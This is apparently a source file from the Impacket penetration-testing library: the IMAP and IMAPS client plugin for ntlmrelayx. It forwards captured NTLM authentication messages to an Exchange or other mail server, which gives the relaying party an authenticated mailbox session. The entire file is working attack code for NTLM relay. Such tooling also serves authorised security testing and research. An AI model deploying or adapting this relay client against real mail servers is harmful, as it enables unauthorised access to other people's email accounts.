/
imaprelayclient.py
101 lines (89 loc) · 3.94 KB
/
imaprelayclient.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2022 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# IMAP Protocol Client
# IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange
#
# Author:
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
# Alberto Solino (@agsolino)
#
import imaplib
import base64
from struct import unpack
from impacket import LOG
from impacket.examples.ntlmrelayx.clients import ProtocolClient
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
from impacket.ntlm import NTLMAuthChallenge
from impacket.spnego import SPNEGO_NegTokenResp
PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"]
class IMAPRelayClient(ProtocolClient):
PLUGIN_NAME = "IMAP"
def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ):
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
def initConnection(self):
self.session = imaplib.IMAP4(self.targetHost,self.targetPort)
self.authTag = self.session._new_tag()
LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
if 'AUTH=NTLM' not in self.session.capabilities:
LOG.error('IMAP server does not support NTLM authentication!')
return False
return True
def sendNegotiate(self,negotiateMessage):
negotiate = base64.b64encode(negotiateMessage)
self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF))
resp = self.session.readline().strip()
if resp != '+':
LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp)
return False
else:
self.session.send(negotiate + imaplib.CRLF)
try:
serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char
serverChallenge = base64.b64decode(serverChallengeBase64)
challenge = NTLMAuthChallenge()
challenge.fromString(serverChallenge)
return challenge
except (IndexError, KeyError, AttributeError):
LOG.error('No NTLM challenge returned from IMAP server')
raise
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
token = respToken2['ResponseToken']
else:
token = authenticateMessageBlob
auth = base64.b64encode(token)
self.session.send(auth + imaplib.CRLF)
typ, data = self.session._get_tagged_response(self.authTag)
if typ == 'OK':
self.session.state = 'AUTH'
return None, STATUS_SUCCESS
else:
LOG.error('IMAP: %s' % ' '.join(data))
return None, STATUS_ACCESS_DENIED
def killConnection(self):
if self.session is not None:
self.session.logout()
self.session = None
def keepAlive(self):
# Send a NOOP
self.session.noop()
class IMAPSRelayClient(IMAPRelayClient):
PLUGIN_NAME = "IMAPS"
def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ):
ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
def initConnection(self):
self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort)
self.authTag = self.session._new_tag()
LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
if 'AUTH=NTLM' not in self.session.capabilities:
LOG.error('IMAP server does not support NTLM authentication!')
return False
return True